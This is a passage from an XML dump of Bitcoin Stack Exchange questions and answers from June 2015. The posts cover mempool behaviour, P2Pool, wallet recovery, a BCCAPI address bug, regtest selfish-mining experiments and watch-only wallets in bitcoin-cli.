&quot;d2bd27f1c4e42d92781448adada8c7c7c8df701ea23ca66c259c3f4ec90e3f8a&quot;,&#xA;      &quot;e7c3b7e81cea9cd1d361725c0d0c6bb30f9f63fe882d5d7bd65b12207e13e4ce&quot;,&#xA;      &quot;ef1838102e2200d73003a147de124bce19efcd98c7334c6f67c97b63f89ff26d&quot;&#xA;  ]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is not a synchro problem no block are mined in the meanwhile. If anyone has a clue..&lt;/p&gt;&#xA;" OwnerUserId="26850" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2015-06-18T14:10:29.570" Title="Transaction broadcasted to the Bitcoin network but not in my mempool" Tags="|transactions|bitcoind|armory|mempool|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="38079" PostTypeId="2" ParentId="38070" CreationDate="2015-06-18T15:53:52.960" Score="7" Body="&lt;p&gt;Note that this question has been automatically mapped to &lt;a href=&quot;https://www.reddit.com/r/ethereum/comments/3a8oi0/is_there_a_way_to_access_ethereum_smart_contracts/&quot; rel=&quot;noreferrer&quot;&gt;reddit&lt;/a&gt; and answered there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you declare your state variables as &lt;code&gt;public&lt;/code&gt;, a function to read their values will be automatically created by the compiler (&quot;&lt;a href=&quot;https://github.com/ethereum/wiki/wiki/Solidity-Tutorial#accessor-functions&quot; rel=&quot;noreferrer&quot;&gt;accessor function&lt;/a&gt;&quot;). If you use the &lt;a href=&quot;https://github.com/ethereum/wiki/wiki/JavaScript-API#web3ethcontract&quot; rel=&quot;noreferrer&quot;&gt;rich interface provided by web3.js&lt;/a&gt;, you can create a javascript contract object and just call &lt;code&gt;message()&lt;/code&gt; on that to get the respective value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For arrays and mappings, the compiler will generate a function that has additional arguments which correspond to the indexes. For example, for a variable &lt;code&gt;mapping(uint =&amp;gt; uint[]) public data;&lt;/code&gt; the function will be equivalent to &lt;code&gt;function data(uint x, uint y) constant returns (uint) { return data[x][y]; }&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="26726" LastActivityDate="2015-06-18T15:53:52.960" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="38080" PostTypeId="2" ParentId="37997" CreationDate="2015-06-18T16:06:25.557" Score="0" Body="&lt;p&gt;Ok, I tried the Virwox method and it still works perfectly, although the effective fee was around ~11.3% (plus a fixed $0.5~$0.6 + 0.005 BTC). I could buy 1.184 BTC with USD $330.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case anyone's interested, the details follow:&#xA;Using PayPal, there is a deposit fee of $0.3 + 3.4%, and variable daily/monthly limits (330/3000 in my case). They also accept credit cards, and several other online payment systems. Exchanging USD for SLL has a fee of 2.9% + 50 SLL. Then, exchanging SLL for BTC has a fee of 2.9% + 50 SLL again. They don't allow USD amounts with cents, and something similar happens with SLL, so you end up with some tiny unusable balance (which likely ends up being like a hidden fee). And finally, a 0.005 BTC fee is charged for BTC withdrawal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, despite being quite costly, it is the only reliable automatic solution I know of, and luckily it's still working as of June 2015.&lt;/p&gt;&#xA;" OwnerUserId="15404" LastActivityDate="2015-06-18T16:06:25.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38081" PostTypeId="2" ParentId="38070" CreationDate="2015-06-18T16:31:40.260" Score="1" Body="&lt;p&gt;You should check out &lt;code&gt;web3.eth.contract&lt;/code&gt; - it should have exactly what you need. &lt;a href=&quot;https://github.com/ethereum/wiki/wiki/JavaScript-API#web3ethcontract&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ethereum/wiki/wiki/JavaScript-API#web3ethcontract&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26959" LastActivityDate="2015-06-18T16:31:40.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38082" PostTypeId="1" CreationDate="2015-06-18T17:19:01.450" Score="0" ViewCount="113" Body="&lt;p&gt;A few weeks back I had asked a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/37655/implicit-tacit-mechanisms-in-bitcoin-core-disclosing-selfish-mining&quot;&gt;question about how honest nodes could detect a Selfish Mine Attack and if there were mechanisms that would disclose selfish mining&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In a very first step: I've slightly changed the Bitcoin source code in a way that a selfish node (built from that modified code) run on regtest shouldn't shouldn't report its secret blocks. Now, this doesn't ALWAYS work out because a honest node connected to the selfish node somehow, in a certain scenario, gets to know about hidden blocks and updates its blockchain.&#xA;I would like to know &lt;strong&gt;through what kind of messages/mechanisms a selfish node could blabber out about its headers and eventually blocks, if not through headers and block messages?&lt;/strong&gt;&#xA;Or do I miss something?&lt;/p&gt;&#xA;&lt;p&gt;For a better understanding of my question, I'll sketch it here (h=honest node; s=selfish node):&lt;br/&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;SCENARIO&lt;/strong&gt; (&lt;em&gt;failing selfish mine&lt;/em&gt;): first generate secret block, then connect to honest node:&lt;br/&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;h: start bitcoin server.&lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;s: start bitcoin server.&lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;s: create block #1 (child of genesis block)&lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;h: addnode &amp;quot;s&amp;quot; add&lt;br/&gt;&#xA;---&lt;em&gt;version, verack, getaddr and ping messages exchanged (no pong messages!?)&lt;/em&gt;---&lt;br/&gt;&#xA;---&lt;em&gt;wireshark strangely doesn't show any getheaders, headers, getdata or block messages&lt;/em&gt;---&lt;br/&gt; &lt;em&gt;BUT ...&lt;/em&gt;&lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;h: updatetip: best= block#1!!!&lt;br/&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;How is this possible without having sent even headers messages, in first place?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;WHEREAS:&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;strong&gt;SCENARIO&lt;/strong&gt; (&lt;em&gt;successfull selfish mine&lt;/em&gt;): first connect to honest node, then generate secret block&lt;br/&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;h: start bitcoin server.&lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;s: start bitcoin server.&lt;br/&gt;&#xA;---&lt;em&gt;version, verack, getaddr and ping messages exchanged (no pong messages!?)&lt;/em&gt;---&lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;s: create block #1 (child of genesis block)&lt;br/&gt;&#xA;---&lt;em&gt;honest node doesn't react and wireshark verifies this by showing no packet exchange&lt;/em&gt;---&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;br/&gt;&#xA;I looked up hash of block#1 (in reversed byte order) in EVERY message's hexdump but it wasn't there - still honest node was able to update to hidden chain in 1. Scenario!?&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-06-18T18:08:39.990" Title="Leakage of information about selfish mining - what message is responsible?" Tags="|message|testing|regtest|selfish-mining|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38084" PostTypeId="1" AcceptedAnswerId="38087" CreationDate="2015-06-18T19:14:10.730" Score="1" ViewCount="144" Body="&lt;p&gt;I had a multi-sig address &lt;strong&gt;M&lt;/strong&gt; (starting with 3) that I was trying to send a small amount of coins to. I was playing around with &lt;a href=&quot;https://code.google.com/p/bccapi/&quot; rel=&quot;nofollow&quot;&gt;BCCAPI&lt;/a&gt; and the coins got sent to an &quot;ordinary&quot; address &lt;strong&gt;A&lt;/strong&gt; (starting with 1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had supplied &lt;strong&gt;M&lt;/strong&gt; to the library but somehow the signed tx had the address &lt;strong&gt;A&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know who controls &lt;strong&gt;M&lt;/strong&gt; but no one seems to control &lt;strong&gt;A&lt;/strong&gt;. I am trying to see if the funds can be recovered by someone controlling &lt;strong&gt;M&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any relation between the two addresses? I'd prefer not to post the actual addresses yet. However, the fact that I used BCCAPI might give some clue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code (in Scala) that I used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;val M = &quot;3...&quot; // multi-sig address&#xA;val receiver = com.bccapi.bitlib.model.Address.fromString(M, netParams)&#xA;val so = new com.bccapi.bitlib.model.ScriptOutputStandard(receiver.getTypeSpecificBytes())&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2015-06-18T22:46:44.080" Title="Relation between multi-sig and single-sig addresses (in BCCAPI library)?" Tags="|address|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38085" PostTypeId="1" AcceptedAnswerId="38089" CreationDate="2015-06-18T21:16:43.917" Score="2" ViewCount="128" Body="&lt;p&gt;Can I process my own transactions from my wallet on my miner? I would like to process my own transactions because then I could have my transactions go faster and not have to pay extra because it would be processed locally? I know this might sound dumb but I would still like to know.&lt;/p&gt;&#xA;" OwnerUserId="26960" LastEditorUserId="5406" LastEditDate="2016-03-14T19:55:49.413" LastActivityDate="2016-03-14T19:55:49.413" Title="Bitcoin Wallet Mining" Tags="|wallet|mining-theory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38086" PostTypeId="1" AcceptedAnswerId="38101" CreationDate="2015-06-18T21:33:38.160" Score="1" ViewCount="434" Body="&lt;p&gt;Just wondering what I can do to reduce the latency of my node. I have periods of .4s latency and it slowly drifts upwards. This seems to be a trend as the latency has been rising steadily. It doesn't seem to be related to network traffic. I was just wondering if this is just systemic of p2pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="26963" LastActivityDate="2015-06-19T21:50:59.607" Title="P2Pool Node Latency" Tags="|p2pool|latency|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38087" PostTypeId="2" ParentId="38084" CreationDate="2015-06-18T21:43:23.137" Score="1" Body="&lt;p&gt;The call to &lt;code&gt;receiver.getTypeSpecificBytes()&lt;/code&gt; strips off the version byte (the '3'), and &lt;code&gt;ScriptOutputStandard()&lt;/code&gt; always creates a &lt;a href=&quot;https://bitcoin.org/en/glossary/p2pkh-address&quot; rel=&quot;nofollow&quot;&gt;P2PKH&lt;/a&gt; script from this raw (with no version byte) 20-byte hash. The bitcoin that was sent to the P2PKH address is probably irretrievable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably meant to do this to create a &lt;a href=&quot;https://bitcoin.org/en/glossary/p2sh-address&quot; rel=&quot;nofollow&quot;&gt;P2SH&lt;/a&gt; script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;val so = new com.bccapi.bitlib.model.ScriptOutputMultisig(receiver.getTypeSpecificBytes())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, just FYI I don't think BCCAPI is being supported any longer. I don't see any updates to it since late 2012, and the then maintainer has since moved on to create Mycelium. You may want to consider an alternative Java Bitcoin library such as &lt;a href=&quot;https://bitcoinj.github.io/&quot; rel=&quot;nofollow&quot;&gt;bitcoinj&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="25088" LastEditDate="2015-06-18T22:46:44.080" LastActivityDate="2015-06-18T22:46:44.080" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38088" PostTypeId="1" AcceptedAnswerId="38090" CreationDate="2015-06-18T22:01:55.093" Score="1" ViewCount="158" Body="&lt;p&gt;As far as I understand, P2Pool is a way to decentralize mining. I don't know all the details, but it allows to distribute the mining rewards by the parties involved, fairly and without a centralized pool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One major problem with P2Pool is that it requires each participant miner to keep record of the full blockchain. In contrast, participating to centralized pools doesn't require you to download the full chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as far as I understand, new versions of Bitcoin will soon provide pruning capabilities, therefore allowing miners to only keep unspent outputs (without the entire chain) up to certain blocks, which drastically reduces the amount of space needed to verify transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With all these new developments, wouldn't it make sense to embed P2Pool sort of technology inside Bitcoin Core itself, or are there bigger limitations that I'm not aware of?&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="5406" LastEditDate="2016-03-31T16:19:40.167" LastActivityDate="2016-03-31T16:19:40.167" Title="Embedding P2Pool technology in Bitcoin Core" Tags="|mining-profitability|p2pool|bitcoin-core-development|decentralization|pruning|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38089" PostTypeId="2" ParentId="38085" CreationDate="2015-06-18T22:05:22.390" Score="0" Body="&lt;p&gt;The only miner that gets to decide which transactions go into a block is the one that is lucky enough to find the next block. So, yes, if your miner is successful in finding a block, then you get to decide which transactions are included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are mining in a pool, your miner probably doesn't get to decide which transactions get included. The above only applies if you're solo mining.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2015-06-18T22:05:22.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38090" PostTypeId="2" ParentId="38088" CreationDate="2015-06-18T22:29:24.923" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;However, as far as I understand, new versions of Bitcoin will soon provide pruning capabilities, therefore allowing miners to only keep unspent outputs (without the entire chain) up to certain blocks, which drastically reduces the amount of space needed to verify transactions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This has been the case since 0.8.0. The new addition is just to remove the requirement to keep block files around, which were only ever used for serving to other peers and for wallet rescans anyway. Incidentally the pruning function is incompatible with the current wallet, which would make P2Pool operation a bit difficult until it has been patched for operation with its own wallet system. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With all these new developments, wouldn't it make sense to embed P2Pool sort of technology inside Bitcoin Core itself, or are there bigger limitations that I'm not aware of?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It would have made sense in 2010, less so now. P2Pool has extremely high share difficulty which frustrates small miners, and it has all but lost all of the momentum it might have had a few years ago. Unfortunately it is also written in Python, which makes it a little lethargic and not suited for inclusion without a complete rewrite. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mining landscape is also a lot different to even a year ago. Home mining is all but non existent, and most of the hashpower is concentrated under the control of as many people as would fit in a small elevator car. Those with miners will often have brands who have released hardware that actively damages P2Pool by discarding valid blocks (a sort of unintentional block withholding attack). Most mining hardware include small single board computers of some description which are underpowered even for stratum mining, which means the person needs to keep another full sized computer around to run a node on, which is apparently undesirable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The budget for P2Pool development is almost zero as a result of the combination of all these factors. It would have been nice if this was a core part of Bitcoin to begin with, or something similar. Perhaps things would be different now if it had. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-18T22:29:24.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38091" PostTypeId="1" AcceptedAnswerId="38094" CreationDate="2015-06-19T02:19:51.960" Score="4" ViewCount="13302" Body="&lt;p&gt;I haven't accessed my blockchain.info account and I completely forgot my secondary password in order to send out bitcoins. I still have my mnemonic, but that's totally useless and &lt;strong&gt;MISLEADING&lt;/strong&gt; as it states I can recover my Bitcoins with it. But it will not recover my secondary password on blockchain.info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I reset my secondary password ?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2017-07-08T08:19:09.153" Title="Blockchain.info - Forgot My Secondary Password. How to recover it?" Tags="|blockchain.info|backup|lost-wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38092" PostTypeId="2" ParentId="32314" CreationDate="2015-06-19T02:39:52.123" Score="1" Body="&lt;p&gt;Yes there is a way, you need a way to connect to someone running BitcoinQT and who has made their node public. BitcoinQT runs as a node, but to make it discoverable to any but other BitcoinQT wallet users you have to go a step further. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need a list of such BitcoinQT &quot;servers&quot;, and I found one earlier and in searching for that list of open Bitcoin-QT &quot;servers&quot; someone had published I found this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I manage to find it again, I am trying to solve my problem with sending from mSIGNA, I will post a link and more complete answer here.&lt;/p&gt;&#xA;" OwnerUserId="26966" LastActivityDate="2015-06-19T02:39:52.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38093" PostTypeId="2" ParentId="38091" CreationDate="2015-06-19T04:32:20.120" Score="1" Body="&lt;p&gt;The secondary password is encoded by a mnemonic, &lt;strong&gt;but&lt;/strong&gt;, if you change that password, the original mnemonic is still encoding the &lt;em&gt;original&lt;/em&gt; password. The new password is encoded with a completely different mnemonic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're out of luck without brute forcing, and for that I'd check out &lt;a href=&quot;http://github.com/gurnec/btcrecover&quot; rel=&quot;nofollow&quot;&gt;BTCRecover by @cgurnee&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-06-19T04:32:20.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38094" PostTypeId="2" ParentId="38091" CreationDate="2015-06-19T04:36:04.680" Score="4" Body="&lt;p&gt;Blockchain.info has two separate &quot;mnemonics&quot;, one for each password (using that term loosely, since it's not the type of permanent mnemonic every other mnemonic-capable wallet uses). I agree they don't make it at all clear that you gain a &lt;em&gt;second&lt;/em&gt; one once you add a second password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like you only have the main one. If you have completely forgotten the second password and have no old wallet backups from before you added it, then you are pretty much out of luck, sorry....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have some idea of what your password might be, please refer to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3313/are-there-bitcoin-password-crackers-i-can-use-to-recover-forgotten-passwords&quot;&gt;this question&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-06-19T04:36:04.680" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38097" PostTypeId="1" AcceptedAnswerId="38098" CreationDate="2015-06-19T12:58:49.560" Score="2" ViewCount="589" Body="&lt;p&gt;My internet bandwidth is around &lt;strong&gt;10 - 20 KB/s&lt;/strong&gt;. If I could sync with it for the &lt;strong&gt;first time&lt;/strong&gt; then no problem. If I should need to &lt;strong&gt;sync it every time&lt;/strong&gt; when opening it then it's really a big problem for me.&lt;/p&gt;&#xA;" OwnerUserId="26971" LastActivityDate="2015-06-19T13:45:27.437" Title="Does synchronization takes such long time for first time or every time when syncing?" Tags="|synchronization|time|bandwidth|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38098" PostTypeId="2" ParentId="38097" CreationDate="2015-06-19T13:45:27.437" Score="1" Body="&lt;p&gt;The initial sync only needs to happen once, launches after a full synchronization will just catch up on the data that you've missed. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-19T13:45:27.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38099" PostTypeId="2" ParentId="38077" CreationDate="2015-06-19T16:43:25.310" Score="2" Body="&lt;p&gt;You can try &lt;a href=&quot;http://coinmap.org&quot; rel=&quot;nofollow&quot;&gt;CoinMap&lt;/a&gt;. It's the largest database of physical locations that accept Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="26960" LastEditorUserId="26887" LastEditDate="2015-06-19T18:07:08.257" LastActivityDate="2015-06-19T18:07:08.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38100" PostTypeId="1" CreationDate="2015-06-19T19:42:35.863" Score="1" ViewCount="200" Body="&lt;p&gt;I sent a bitcoin to temporary address. So seller did not get it because address was outdated before I sent bitcoins via bitcoins-qt. Is there chance to return my bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="26973" LastActivityDate="2015-07-21T02:33:47.920" Title="Bitcoins lost due to outdated address" Tags="|address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38101" PostTypeId="2" ParentId="38086" CreationDate="2015-06-19T21:50:59.607" Score="1" Body="&lt;p&gt;The latency measured is the time it takes for your bitcoind to respond to getblocktemplate requests. It shouldn't matter too much, and the rising time is simply your node learning about more and more transactions and making bigger templates for P2Pool to work on. There's some command line options for bticoind which let you fine tune minimum fees and the like for accepting unconfirmed transactions which may have an effect on the speed of return. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-19T21:50:59.607" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38102" PostTypeId="1" CreationDate="2015-06-20T00:27:15.563" Score="0" ViewCount="678" Body="&lt;p&gt;i've been trough 10+ days of syncing the Bitcoin Core and again mSigna wallet with Core...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;downloaded bootstrap, then building blocks for Core to get synced was relatively fast, but mSigna has to build blocks for itself all over again while synced Core has to be running in the background. Its taking ageeees! way slower than the Core, especially last 100.000 blocks.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the 1.8 BTC are waiting in the unspent outputs on the blockchain cause i generated address for transaction from mSigna before when it was out of sync. (apparently you can do that in mSigna) just hoping when it gets synced i will see my coins in vault. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the actual problem is that while mSigna was syncing(was at around 85%... 330.000+ blocks synced)  and the Core was normaly synced i suddenly got BSOD and computer restarted. Normaly first I opened bitcoin core to resume the process but now the Core is completely out of sync, and the blocks in bitcoin qt folder  are using 60 GB of space which means they are already builded..?&lt;br&gt;&#xA;How can i tell the Core to use those synced blocks?&#xA;I will not open mSigna till the core is not synced again cause im afraid that msigna will restart aswell.&#xA;Thanks. &lt;/p&gt;&#xA;" OwnerUserId="26976" LastActivityDate="2015-08-19T01:28:40.337" Title="Bitcoin Core goes totally out of sync after pc crash" Tags="|wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38103" PostTypeId="2" ParentId="38102" CreationDate="2015-06-20T00:40:44.280" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Normaly first I opened bitcoin core to resume the process but now the Core is completely out of sync, and the blocks in bitcoin qt folder are using 60 GB of space which means they are already builded..?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The blocks on disk aren't really processed at all in the way you are thinking, what Bitcoin Core is doing when it is syncing is building a secondary database of its own which contains the state of the network. In a very unclean shutdown the database (known as the chainstate) will be corrupted and has to be rebuilt from the block files. There's no way to know exactly how it was damaged so it must be built entirely from scratch again. It is inconvenient but at least the blocks don't need to be downloaded again from the network again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are getting frequent BSOD you might need to check your hardware or drivers.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-20T00:40:44.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38105" PostTypeId="1" CreationDate="2015-06-20T03:17:21.817" Score="0" ViewCount="5348" Body="&lt;p&gt;How do I find the private key in order to transfer my bitcoins from bitcoin core. The block chain keeps crashing before synchronization takes place. Appreciate the feedback &lt;/p&gt;&#xA;" OwnerUserId="26977" LastActivityDate="2015-06-22T16:31:24.250" Title="Finding private key" Tags="|private-key|" AnswerCount="1" CommentCount="0" ClosedDate="2015-06-22T17:05:22.650" ContentLicense="CC BY-SA 3.0" />
  <row Id="38106" PostTypeId="1" AcceptedAnswerId="38109" CreationDate="2015-06-20T04:55:53.373" Score="2" ViewCount="1419" Body="&lt;p&gt;i'm trying to see all tx hashes and the balance for an address i don't own:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli importaddress 1M43pksKTGpBd8J8XzjStjgnX5vie1kpYA&#xA;$ # wait 5 minutes while bitcoind presumably scans all txs&#xA;$ # for this address&#xA;$ bitcoin-cli getbalance 1M43pksKTGpBd8J8XzjStjgnX5vie1kpYA&#xA;0.00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;bitcoind claims this address has no balance while &lt;a href=&quot;https://blockchain.info/address/1M43pksKTGpBd8J8XzjStjgnX5vie1kpYA&quot; rel=&quot;nofollow&quot;&gt;blockchain.info currently shows&lt;/a&gt; a final balance of 0.00993754 BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;why is this not working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however the &lt;code&gt;listunspent&lt;/code&gt; command appears to list the unspent transactions correctly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli listunspent 1M43pksKTGpBd8J8XzjStjgnX5vie1kpYA&#xA;[&#xA;    {&#xA;        &quot;txid&quot; : &quot;0fdcdeff329b91fb9888720c958d550c39716f92abec4e5b6ff7c53a22bb31c2&quot;,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;address&quot; : &quot;1M43pksKTGpBd8J8XzjStjgnX5vie1kpYA&quot;,&#xA;        &quot;account&quot; : &quot;&quot;,&#xA;        &quot;scriptPubKey&quot; : &quot;76a914dbf61ed2ce1def33a34d89ab7b05ccc25d9cf02288ac&quot;,&#xA;        &quot;amount&quot; : 0.00010000,&#xA;        &quot;confirmations&quot; : 3608,&#xA;        &quot;spendable&quot; : false&#xA;    },&#xA;    {&#xA;        &quot;txid&quot; : &quot;db1beb183808e8b41064405d43bd6c684874b5f328bfb565c4e16cc2baaa0d18&quot;,&#xA;        &quot;vout&quot; : 1,&#xA;        &quot;address&quot; : &quot;1M43pksKTGpBd8J8XzjStjgnX5vie1kpYA&quot;,&#xA;        &quot;account&quot; : &quot;&quot;,&#xA;        &quot;scriptPubKey&quot; : &quot;76a914dbf61ed2ce1def33a34d89ab7b05ccc25d9cf02288ac&quot;,&#xA;        &quot;amount&quot; : 0.00983754,&#xA;        &quot;confirmations&quot; : 4459,&#xA;        &quot;spendable&quot; : false&#xA;    }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;adding up the funds here: &lt;code&gt;0.00983754 + 0.00010000 = 0.00993754&lt;/code&gt; matches the blockchain.info figure. maybe &lt;code&gt;getbalance&lt;/code&gt; only shows spendable funds?&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2015-06-20T09:17:33.627" LastActivityDate="2015-06-20T09:20:30.607" Title="watch-only wallet with bitcoin-cli" Tags="|bitcoind|watch-only|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38107" PostTypeId="2" ParentId="30171" CreationDate="2015-06-20T05:23:07.627" Score="1" Body="&lt;p&gt;there is a list of implementations &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki#implementations&quot; rel=&quot;nofollow&quot;&gt;in the bip32 documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Two Python implementations exist:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;PyCoin (&lt;a href=&quot;https://github.com/richardkiss/pycoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/richardkiss/pycoin&lt;/a&gt;) is a suite of utilities&#xA;  for dealing with Bitcoin that includes BIP0032 wallet features.&#xA;  BIP32Utils (&lt;a href=&quot;https://github.com/jmcorgan/bip32utils&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jmcorgan/bip32utils&lt;/a&gt;) is a library and&#xA;  command line interface specifically focused on BIP0032 wallets and&#xA;  scripting.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A Java implementation is available at&#xA;  &lt;a href=&quot;https://github.com/bitsofproof/supernode/blob/1.1/api/src/main/java/com/bitsofproof/supernode/api/ExtendedKey.java&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitsofproof/supernode/blob/1.1/api/src/main/java/com/bitsofproof/supernode/api/ExtendedKey.java&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A C++ implementation is available at&#xA;  &lt;a href=&quot;https://github.com/CodeShark/CoinClasses/tree/master/tests/hdwallets&quot; rel=&quot;nofollow&quot;&gt;https://github.com/CodeShark/CoinClasses/tree/master/tests/hdwallets&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;An Objective-C implementation is available 